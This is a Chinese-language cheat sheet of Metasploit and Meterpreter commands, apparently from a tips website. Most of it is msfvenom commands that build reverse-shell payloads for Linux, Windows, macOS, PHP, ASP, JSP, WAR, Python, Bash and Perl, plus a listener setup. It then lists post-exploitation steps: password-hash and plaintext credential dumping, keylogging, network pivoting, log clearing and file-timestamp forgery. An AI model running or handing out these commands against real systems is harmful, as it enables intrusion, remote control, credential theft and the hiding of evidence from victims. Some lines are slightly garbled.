1. 程式人生 > 實用技巧 >Metasploit和Metepreter的基礎命令

Metasploit和Metepreter的基礎命令

0X01 - 初始化msf資料庫

輸入msfc(tab補全),進入msf視窗

(1)啟動postgresql資料庫

1 [root@kali ~]# service postgresql start

(2)對msf進行資料庫初始化

1 [root@kali ~]# msfdb init

(3)輸入msfconsole進行msf介面

(4)在msf介面輸入db_status檢視msf與postgresql資料庫的連線狀態

1 [root@kali ~]# db_status

0X02 - Metasploit基礎命令

 1 msf > search ms17                  //
查詢 2 msf > use exploit/multi/handler //使用 3 msf > info //檢視資訊 4 msf > show options //或者exploits、payloads 顯示可用資訊 5 msf > set options //或者payload 給相關物件賦值 6 msf > run //或者exploit 執行 7 msf > exploit -j //
後臺執行 8 msf > back //返回上一級 9 msf > session -i //檢視當前可用會話 10 msf > session -K //殺死所有活躍會話

0X03 - msf各種payload生成命令

Linux

1 [root@kali ~]# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

1 [root@kali ~]# msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

1 [root@kali ~]# msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho 

2 [root@kali ~]# Web Payloads

PHP

1 [root@kali ~]#msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
2 [root@kali ~]#cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

1 [root@kali ~]#msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

1 [root@kali ~]#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

1 [root@kali ~]#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
2 [root@kali ~]#Scripting Payloads

Python

1 [root@kali ~]#msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

1 [root@kali ~]#msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

1 [root@kali ~]#msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits

Linux Based Shellcode

1 [root@kali ~]#msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

1 [root@kali ~]#msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

2 生成一個Metepreter的payload

  [root@kali ~]#msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-f exe > /root/Desktop/msf.exe


3 生成一個非Metepreter的payload

  [root@kali ~]#msfvenom -p windows/shell/reverse_tcp LHOST=172.26.26.213 LPORT=4444 -f exe > /root/Desktop/msf2.exe

Mac Based Shellcode

1 [root@kali ~]#msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Handlers

use exploit/multi/handler

set PAYLOAD <Payload name>

set LHOST <LHOST value>

set LPORT <LPORT value>

set ExitOnSession false

exploit -j -z

0X04 - Metepreter基礎命令

Core Commands #核心命令

 1 background                                         #把當前Metepreter會話放到後臺執行
 2 exit                                               #直接中斷當前Metepreter會話
 3 migrate                                            #程序遷移
 4 run                                                #呼叫meterpreter script or Post module
 5 load                                               #載入meterpreter擴充套件程式
 6 msv                                                #獲取的是hash值
 7 wdigest                                            #讀取記憶體中存放的賬號密碼明文資訊
 8 run                                                #呼叫meterpreter自帶指令碼和Post模組
 9 run post/windows/gather/checkvm                    #是否虛擬機器(windows)
10 run post/linux/gather/checkvm                      #是否虛擬機器(linux)
11 run post/windows/gather/forensics/enum_drives      #檢視分割槽
12 run post/windows/gather/enum_applications          #獲取安裝軟體資訊
13 run post/windows/gather/dumplinks                  #獲取最近的檔案操作
14 run post/windows/gather/enum_ie                    #獲取IE快取
15 run post/windows/gather/enum_chrome                #獲取Chrome快取
16 run post/windows/gather/enum_patches               #補丁資訊
17 run post/windows/gather/enum_domain                #查詢域控
18 
19 Msf新增內網路由
20 run get_local_subnets
21 run autoroute -s 192.168.10.0/24
22 run autoroute -p

File system Commands #檔案系統命令

 1 pwd / getwd            #顯示被控伺服器當前工作路徑
 2 cd                     #切換目錄
 3 dir / ls               #顯示當前目錄的檔案
 4 cat                    #檢視檔案內容
 5 edit                   #編輯檔案
 6 cp                     #複製檔案
 7 mkdir                  #新建資料夾
 8 mv                     #移動檔案
 9 rm                     #刪除檔案
10 rmdir                  #刪除資料夾
11 search                 #搜尋檔案  search -d d:\\www -f *.config
12 show_mount             #顯示作業系統所有碟符
13 download               #下載檔案
14 getlwd    /lpwd        #顯示當前本地系統的路徑
15 lcd                    #切換本地系統的路徑
16 lls                    #顯示本地系統的檔案
17 upload                 #上傳檔案

Networking Commands #網路相關命令

1 arp
2 getproxy
3 ifconfig / ipconfig
4 netstat
5 resolve
6 route
7 portfwd                                        #埠轉發 
8 portfwd add -l 1234 -p 3389 -r 192.168.10.130  # 192.168.10.130是當前被控伺服器的網絡卡上顯示的ip地址,不區分內外網
9 portfwd delete -l 1234

System Commands #系統相關命令

1 clearev           #清除日誌,需要高許可權
2 execute           #執行被控伺服器上的某個程式
3 getuid            #顯示當前許可權,類似於whoami
4 kill              #終結某個程序
5 ps                #顯示系統所有程序
6 shell             #進入系統shell終端
7 sysinfo           #顯示作業系統基本資訊

User interface Commands #使用者相關命令

1 keyboard_send          #傳送鍵盤按鍵值過去
2 keyscan_start          #開啟鍵盤記錄
3 keyscan_stop           #停止鍵盤記錄
4 keyscan_dump           #獲取鍵盤記錄
5 mouse                  #傳送滑鼠點選事件
6 screenshot             #螢幕截圖

Elevate Commands

1 getsystem     #msf內建的一鍵提權,需要普通使用者許可權(工作組普通使用者/域普通使用者)

Password database Commands

1 hashdump      #獲取系統hash值,需要system許可權

Timestomp Commands
利用timestomp功能模組修改檔案時間

1 meterpreter > timestomp c:\\www -c "09/09/1980 12:12:34"         #修改檔案建立時間

2 meterpreter > timestomp c:\\2.txt -m "01/01/1991 12:12:34"      #修改檔案修改時間

3 meterpreter > timestomp c:\\2.txt -f c:\\1.txt                   #將檔案1.txt屬性複製到2.txt